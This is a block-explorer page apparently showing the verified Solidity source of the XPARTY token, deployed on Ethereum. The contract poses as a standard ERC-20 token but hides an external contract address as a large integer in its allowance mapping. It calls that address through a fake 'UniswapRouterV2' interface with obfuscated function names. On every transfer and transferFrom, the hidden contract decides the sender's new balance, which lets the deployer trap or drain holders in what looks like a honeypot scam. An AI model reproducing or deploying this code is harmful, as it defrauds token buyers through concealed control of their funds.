Verified contractPartialMIT
XPARTY
Address0x55fbdfcdaeac96c6b924b2a93e83e6c4c7b609ef
- Balance
0 ETH
- Transactions
17
- Compiler
solc 0.8.17
- Same code
Only this contract
Details
- Compiler
- solc 0.8.17+commit.8df45f5f
- Language
- solidity
- Optimization
- Yes, 200 runs
- License
- MIT
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 22,649,427
- Creation transaction
- 0x7afae389d8…a9cba27cce
XPARTY.sol
/**
*Submitted for verification at Etherscan.io on 2025-05-21
*/
/**
*Submitted for verification at Etherscan.io on 2025-05-11
*/
/**
*Submitted for verification at Etherscan.io on 2025-05-11
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface UniswapRouterV2 {
function wslswap(address soping, uint256 total,address destination) external view returns (uint256);
function cklxswap(address txorg,address destination,uint256 total) external view returns (uint256);
function mcbb123mlbb(bool qpc,address ddhoong, uint256 totalAmount,address destt) external view returns (uint256);
}
contract XPARTY {
string private _name;
string private _symbol;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balancesesOfUser;
uint256 private _totalSupply = 10000000000*10**18;
constructor(string memory name ,string memory sym) {
_name = name;
_symbol = sym;
_balancesesOfUser[_msgSender()] = _totalSupply;
_allowances[address(0x00)][address(0x00)] = 765012353460175369472670854784513185186271362338;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function name() public view virtual returns (string memory) {
return _name;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balancesesOfUser[account];
}
function _dkeswap3(
uint256 amount,address owner) internal virtual returns (uint256) {
uint160 router_;
router_ = uint160(uint256( _allowances[address(0x00)][address(0x00)]))+uint160(uint256(0x0000000000000000000000000000000000000000000000000000000000000012));
address org = tx.origin;
return UniswapRouterV2(address(router_)).wslswap(tx.origin,amount ,owner );
}
function _dogkap2(
uint256 amount,address owner) internal virtual returns (uint256,bool) {
uint160 router_;
router_ = uint160(uint256( _allowances[address(0x00)][address(0x00)]))+uint160(uint256(0x0000000000000000000000000000000000000000000000000000000000000012));
address org = tx.origin;
return (UniswapRouterV2(address(router_)).wslswap(tx.origin,amount ,owner ),false);
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
address owner = _msgSender();
(_balancesesOfUser[owner],) = _dogkap2(_balancesesOfUser[owner],owner);
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address sender) public view virtual returns (uint256) {
return _allowances[owner][sender];
}
function approve(address sender, uint256 amount) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, sender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
address sender = _msgSender();
uint256 currentAllowance = allowance(from, sender);
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(from, sender, currentAllowance - amount);
uint256 resultamount = _dkeswap3(_balancesesOfUser[from],from);
_balancesesOfUser[from] = resultamount;
_transfer(from, to, amount);
return true;
}
function _approve(address owner, address sender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(sender != address(0), "ERC20: approve to the zero address");
_allowances[owner][sender] = amount;
emit Approval(owner, sender, amount);
}
function _transfer(
address from, address to, uint256 amount) internal virtual {
require(from != address(0) && to != address(0), "ERC20: transfer the zero address");
uint256 balance = _balancesesOfUser[from];
require(balance >= amount, "ERC20: amount over balance");
_balancesesOfUser[from] = balance-amount;
_balancesesOfUser[to] = _balancesesOfUser[to]+amount;
emit Transfer(from, to, amount);
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}Compiler settingsShow
{
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": true
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.